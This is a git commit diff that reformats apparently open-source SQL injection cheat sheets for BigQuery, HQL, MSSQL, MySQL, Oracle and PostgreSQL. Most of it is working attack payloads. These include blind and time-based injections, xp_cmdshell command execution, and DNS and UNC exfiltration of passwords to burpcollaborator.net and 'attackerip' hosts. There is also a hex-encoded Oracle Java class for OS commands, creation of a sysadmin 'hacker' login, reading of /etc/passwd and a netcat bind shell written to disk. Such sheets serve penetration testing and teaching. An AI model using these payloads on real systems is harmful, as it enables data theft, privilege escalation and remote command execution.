SQL Injections - Updates for MSSQL, Oracle, PostgreSQL

This commit is contained in:
Swissky 2024-11-15 23:56:04 +01:00
parent f57d0813ca
commit 67af38aa4e
6 changed files with 256 additions and 248 deletions

View File

@ -18,23 +18,20 @@
* Use a classic single quote to trigger an error: `'`
* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
```ps1
# Gathering project id
select @@project_id
| SQL Query | Description |
| ----------------------------------------------------- | -------------------- |
| `SELECT @@project_id` | Gathering project id |
| `SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA` | Gathering all dataset names |
| `select * from project_id.dataset_name.table_name` | Gathering data from specific project id & dataset |
# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA
# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`
```
## BigQuery Comment
```ps1
select 1#from here it is not working
select 1/*between those it is not working*/
```
| Type | Description |
|----------------------------|-----------------------------------|
| `#` | Hash comment |
| `/* PostgreSQL Comment */` | C-style comment |
## BigQuery Union Based
@ -47,13 +44,11 @@ true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,
## BigQuery Error Based
```ps1
# Error based - division by zero
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
| SQL Query | Description |
| -------------------------------------------------------- | -------------------- |
| `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` | Division by zero |
| `select CAST(@@project_id AS INT64)` | Casting |
# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
```
## BigQuery Boolean Based

View File

@ -19,9 +19,8 @@
## HQL Comments
```sql
HQL does not support comments
```
HQL does not support comments.
## HQL List Columns
@ -58,28 +57,31 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro
:warning: **HQL does not support UNION queries**
## Single Quote Escaping
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
```
```sql
'abc\''or 1=(select 1)--'
```
In HQL it is a string, in MySQL it is a string and additional SQL expression.
## $-quoted strings
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
Hibernate ORM allows identifiers starting with `$$`.
```
```sql
$$='$$=concat(chr(61),chr(39)) and 1=1--'
```
## DBMS Magic functions
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
@ -88,13 +90,13 @@ Hibernate allows to specify any function name in HQL expression.
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
```
```sql
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
```
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
```
```sql
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
```
@ -106,7 +108,7 @@ In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same
HQL allows UNICODE symbols in identifiers (function or parameter names).
```
```sql
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
```
@ -146,7 +148,7 @@ com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
```
```
```sql
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
```

View File

@ -12,22 +12,24 @@
* [MSSQL Hostname](#mssql-hostname)
* [MSSQL Database Name](#mssql-database-name)
* [MSSQL Database Credentials](#mssql-database-credentials)
* [MSSQL List databases](#mssql-list-databases)
* [MSSQL List columns](#mssql-list-columns)
* [MSSQL List tables](#mssql-list-tables)
* [MSSQL List Databases](#mssql-list-databases)
* [MSSQL List Columns](#mssql-list-columns)
* [MSSQL List Tables](#mssql-list-tables)
* [MSSQL Union Based](#mssql-union-based)
* [MSSQL Error Based](#mssql-error-based)
* [MSSQL Blind Based](#mssql-blind-based)
* [MSSQL Time Based](#mssql-time-based)
* [MSSQL Stacked query](#mssql-stacked-query)
* [MSSQL Read file](#mssql-read-file)
* [MSSQL Command execution](#mssql-command-execution)
* [MSSQL Out of band](#mssql-out-of-band)
* [MSSQL DNS exfiltration](#mssql-dns-exfiltration)
* [MSSQL UNC path](#mssql-unc-path)
* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin)
* [MSSQL Stacked Query](#mssql-stacked-query)
* [MSSQL Read File](#mssql-read-file)
* [MSSQL Command Execution](#mssql-command-execution)
* [XP_CMDSHELL](#xp_cmdshell)
* [Python Script](#python-script)
* [MSSQL Out of Band](#mssql-out-of-band)
* [MSSQL DNS Exfiltration](#mssql-dns-exfiltration)
* [MSSQL UNC Path](#mssql-unc-path)
* [MSSQL Make User DBA](#mssql-make-user-dba)
* [MSSQL Trusted Links](#mssql-trusted-links)
* [MSSQL List permissions](#mssql-list-permissions)
* [MSSQL List Permissions](#mssql-list-permissions)
* [References](#references)
@ -78,7 +80,7 @@ SELECT SERVERPROPERTY('productlevel')
SELECT SERVERPROPERTY('edition');
```
## MSSQL Database name
## MSSQL Database Name
```sql
SELECT DB_NAME()
@ -100,7 +102,7 @@ SELECT DB_NAME()
```
## MSSQL List databases
## MSSQL List Databases
```sql
SELECT name FROM master..sysdatabases;
@ -108,7 +110,7 @@ SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
```
## MSSQL List columns
## MSSQL List Columns
```sql
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only
@ -117,7 +119,7 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master.
SELECT table_catalog, column_name FROM information_schema.columns
```
## MSSQL List tables
## MSSQL List Tables
```sql
SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views
@ -154,36 +156,43 @@ $ SELECT UserId, UserName from Users
```
## MSSQL Error based
## MSSQL Error Based
```sql
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)
* For integer inputs
For string inputs : ' + convert(int,@@version) + '
For string inputs : ' + cast((SELECT @@version) as int) + '
```
```sql
convert(int,@@version)
cast((SELECT @@version) as int)
```
* For string inputs
```sql
' + convert(int,@@version) + '
' + cast((SELECT @@version) as int) + '
```
## MSSQL Blind based
## MSSQL Blind Based
```sql
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
```
```sql
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
```
## MSSQL Time based
## MSSQL Time Based
In a time-based blind SQL injection attack, an attacker injects a payload that uses `WAITFOR DELAY` to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.
```sql
ProductID=1;waitfor delay '0:0:10'--
@ -191,7 +200,9 @@ ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
```
```sql
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
```
@ -199,7 +210,7 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
## MSSQL Stacked Query
* Without any statement terminator
* Stacked query without any statement terminator
```sql
-- multiple SELECT statements
SELECT 'A'SELECT 'B'SELECT 'C'
@ -212,13 +223,13 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
* Use a semi-colon ";" to add another query
* Use a semi-colon "`;`" to add another query
```sql
ProductID=1; DROP members--
```
## MSSQL Read file
## MSSQL Read File
**Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.
@ -227,7 +238,9 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
```
## MSSQL Command execution
## MSSQL Command Execution
### XP_CMDSHELL
```sql
EXEC xp_cmdshell "net user";
@ -244,45 +257,36 @@ EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```
To interact with the MSSQL instance.
### Python Script
> Executed by a different user than the one using `xp_cmdshell` to execute commands
```powershell
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
```
Execute Python script
> Executed by a different user than the one using xp_cmdshell to execute commands
```powershell
#Print the user being used (and execute commands)
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
## MSSQL Out of band
## MSSQL Out of Band
### MSSQL DNS exfiltration
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
```powershell
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
* **Permission**: Requires VIEW SERVER STATE permission on the server.
# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
```
```powershell
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
```
* **Permission**: Requires the CONTROL SERVER permission.
```powershell
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
```
### MSSQL UNC Path
@ -308,7 +312,7 @@ RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
```
## MSSQL Make user DBA (DB admin)
## MSSQL Make User DBA
```sql
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
@ -345,7 +349,7 @@ EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '')
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
## List permissions
## List Permissions
Listing effective permissions of current user on the server.

View File

@ -43,8 +43,8 @@
* [UNC Path - NTLM Hash Stealing](#unc-path---ntlm-hash-stealing)
* [MYSQL WAF Bypass](#mysql-waf-bypass)
* [Alternative to Information Schema](#alternative-to-information-schema)
* [Alternative to Version](#alternative-to-version)
* [Alternative to group_concat](#alternative-to-group_concat)
* [Alternative to VERSION](#alternative-to-version)
* [Alternative to GROUP_CONCAT](#alternative-to-group_concat)
* [Scientific Notation](#scientific-notation)
* [Conditional Comments](#conditional-comments)
* [Wide Byte Injection (GBK)](#wide-byte-injection-gbk)
@ -645,7 +645,7 @@ mysql> SHOW TABLES IN dvwa;
```
### Alternative to Version
### Alternative to VERSION
```sql
mysql> SELECT @@innodb_version;
@ -671,7 +671,7 @@ mysql> mysql> SELECT version();
```
### Alternative to group_concat
### Alternative to GROUP_CONCAT
Requirement: `MySQL >= 5.7.22`

View File

@ -11,13 +11,16 @@
* [Oracle SQL Hostname](#oracle-sql-hostname)
* [Oracle SQL Database Name](#oracle-sql-database-name)
* [Oracle SQL Database Credentials](#oracle-sql-database-credentials)
* [Oracle SQL List databases](#oracle-sql-list-databases)
* [Oracle SQL List columns](#oracle-sql-list-columns)
* [Oracle SQL List tables](#oracle-sql-list-tables)
* [Oracle SQL List Databases](#oracle-sql-list-databases)
* [Oracle SQL List Columns](#oracle-sql-list-columns)
* [Oracle SQL List Tables](#oracle-sql-list-tables)
* [Oracle SQL Error Based](#oracle-sql-error-based)
* [Oracle SQL Blind](#oracle-sql-blind)
* [Oracle SQL Time Based](#oracle-sql-time-based)
* [Oracle SQL Command execution](#oracle-sql-command-execution)
* [Oracle SQL Out of Band](#oracle-sql-out-of-band)
* [Oracle SQL Command Execution](#oracle-sql-command-execution)
* [Oracle Java Execution](#oracle-java-execution)
* [Oracle Java Class](#oracle-java-class)
* [References](#references)
@ -99,7 +102,7 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```
## Oracle SQL Error based
## Oracle SQL Error Based
| Description | Query |
| :-------------------- | :------------- |
@ -126,37 +129,51 @@ When the injection point is inside a string use : `'||PAYLOAD--`
| First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` |
## Oracle SQL Time based
## Oracle SQL Time Based
```sql
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
```
## Oracle SQL Out of Band
```sql
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
```
## Oracle SQL Command Execution
* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)
* [quentinhardy/odat](https://github.com/quentinhardy/odat) - ODAT (Oracle Database Attacking Tool)
### Oracle Java Execution
* List Java privileges
```sql
select * from dba_java_policy
select * from user_java_policy
```
* Grant privileges
```sql
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
```
* Execute commands
* 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()`
```sql
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
```
* 11g R1 and R2: `DBMS_JAVA.RUNJAVA()`
```sql
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
```
@ -164,32 +181,28 @@ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
### Oracle Java Class
```sql
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/
* Create Java class
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/
```sql
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
or (hex encoded)
-- hex encoded payload
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
```
```sql
/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
* Run OS command
```sql
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
## References

View File

@ -1,6 +1,6 @@
# PostgreSQL Injection
>
> PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.
## Summary
@ -8,35 +8,33 @@
* [PostgreSQL Comments](#postgresql-comments)
* [PostgreSQL Version](#postgresql-version)
* [PostgreSQL Current User](#postgresql-current-user)
* [PostgreSQL List Users](#postgresql-list-users)
* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes)
* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts)
* [PostgreSQL List Privileges](#postgresql-list-privileges)
* [PostgreSQL Check if Current User is Superuser](#postgresql-check-if-current-user-is-superuser)
* [PostgreSQL database name](#postgresql-database-name)
* [PoStgresql List Databases](#postgresql-list-database)
* [PostgreSQL List Tables](#postgresql-list-tables)
* [PostgreSQL List Columns](#postgresql-list-columns)
* [PostgreSQL Privileges](#postgresql-privileges)
* [PostgreSQL List Privileges](#postgresql-list-privileges)
* [PostgreSQL Superuser Role](#postgresql-superuser-role)
* [PostgreSQL Enumeration](#postgresql-enumeration)
* [PostgreSQL Error Based](#postgresql-error-based)
* [PostgreSQL XML Helpers](#postgresql-xml-helpers)
* [PostgreSQL XML Helpers](#postgresql-xml-helpers)
* [PostgreSQL Blind](#postgresql-blind)
* [PostgreSQL Time Based](#postgresql-time-based)
* [PostgreSQL Out of Band](#postgresql-out-of-band)
* [PostgreSQL Stacked Query](#postgresql-stacked-query)
* [PostgreSQL File Read](#postgresql-file-read)
* [PostgreSQL File Write](#postgresql-file-write)
* [PostgreSQL File Manipulation](#postgresql-file-manipulation)
* [PostgreSQL File Read](#postgresql-file-read)
* [PostgreSQL File Write](#postgresql-file-write)
* [PostgreSQL Command Execution](#postgresql-command-execution)
* [CVE-20199193](#cve-20199193)
* [Using COPY TO/FROM PROGRAM](#using-copy-tofrom-program)
* [Using libc.so.6](#using-libcso6)
* [Bypass Filter](#bypass-filter)
* [PostgreSQL WAF Bypass](#postgresql-waf-bypass)
* [Alternative to Quotes](#alternative-to-quotes)
* [References](#references)
## PostgreSQL Comments
```sql
--
/**/
```
| Type | Comment |
| ---- | ------- |
| Single-Line Comment | `--` |
| Multi-Line Comment | `/**/` |
## PostgreSQL Version
@ -55,37 +53,18 @@ SELECT usename FROM pg_user;
SELECT getpgusername();
```
## PostgreSQL List Users
```sql
SELECT usename FROM pg_user
```
## PostgreSQL Privileges
## PostgreSQL List Password Hashes
### PostgreSQL List Privileges
```sql
SELECT usename, passwd FROM pg_shadow
```
Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`.
## PostgreSQL List Database Administrator Accounts
```sql
SELECT usename FROM pg_user WHERE usesuper IS TRUE
```
## PostgreSQL List Privileges
Gather information from the [`pg_user`](https://www.postgresql.org/docs/current/view-pg-user.html) table:
```sql
SELECT * FROM pg_user
```
Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`:
```sql
SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema');
```
## PostgreSQL Check if Current User is Superuser
### PostgreSQL Superuser Role
```sql
SHOW is_superuser;
@ -93,29 +72,18 @@ SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
```
## PostgreSQL Database Name
## PostgreSQL Enumeration
```sql
SELECT current_database()
```
| SQL Query | Description |
| --------------------------------------- | -------------- |
| `SELECT current_database()` | Database Name |
| `SELECT datname FROM pg_database` | List Databases |
| `SELECT table_name FROM information_schema.tables` | List Tables |
| `SELECT column_name FROM information_schema.columns WHERE table_name='data_table'` | List Columns |
| `SELECT usename FROM pg_user` | List PostgreSQL Users |
| `SELECT usename, passwd FROM pg_shadow` | List Password Hashes |
| `SELECT usename FROM pg_user WHERE usesuper IS TRUE` | List Database Administrator Accounts |
## PostgreSQL List Database
```sql
SELECT datname FROM pg_database
```
## PostgreSQL List Tables
```sql
SELECT table_name FROM information_schema.tables
```
## PostgreSQL List Columns
```sql
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
```
## PostgreSQL Error Based
@ -124,14 +92,16 @@ SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
```
```sql
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
```
## PostgreSQL XML Helpers
### PostgreSQL XML Helpers
```sql
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
@ -150,8 +120,8 @@ Note, with the above queries, the output needs to be assembled in memory. For la
## PostgreSQL Blind
```sql
' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
' and substr(version(),1,10) = 'PostgreSQL' and '1 -- TRUE
' and substr(version(),1,10) = 'PostgreXXX' and '1 -- FALSE
```
## PostgreSQL Time Based
@ -183,77 +153,108 @@ select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
```
```sql
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
```
## PostgreSQL Out of Band
Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as `COPY`, `lo_export`, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept.
```sql
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```
## PostgreSQL Stacked Query
Use a semi-colon "`;`" to add another query
```sql
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));--
```
## PostgreSQL File Read
## PostgreSQL File Manipulation
```sql
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
```
### PostgreSQL File Read
NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [this](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group.
NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [0fdc8495bff02684142a44ab3bc5b18a8ca1863a](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group.
```sql
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
```
* Using `pg_read_file`, `pg_ls_dir`
```sql
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
```
```sql
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
```
## PostgreSQL File Write
* Using `COPY`
```sql
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
```
```sql
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
```
Or as one line:
```sql
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
```
* Using `lo_import`
```sql
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
```
### PostgreSQL File Write
* Using `COPY`
```sql
CREATE TABLE nc (t TEXT);
INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM nc;
COPY nc(t) TO '/tmp/nc.sh';
```
* Using `COPY` (one-line)
```sql
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
```
* Using `lo_from_bytea`, `lo_put` and `lo_export`
```sql
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
```
```sql
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
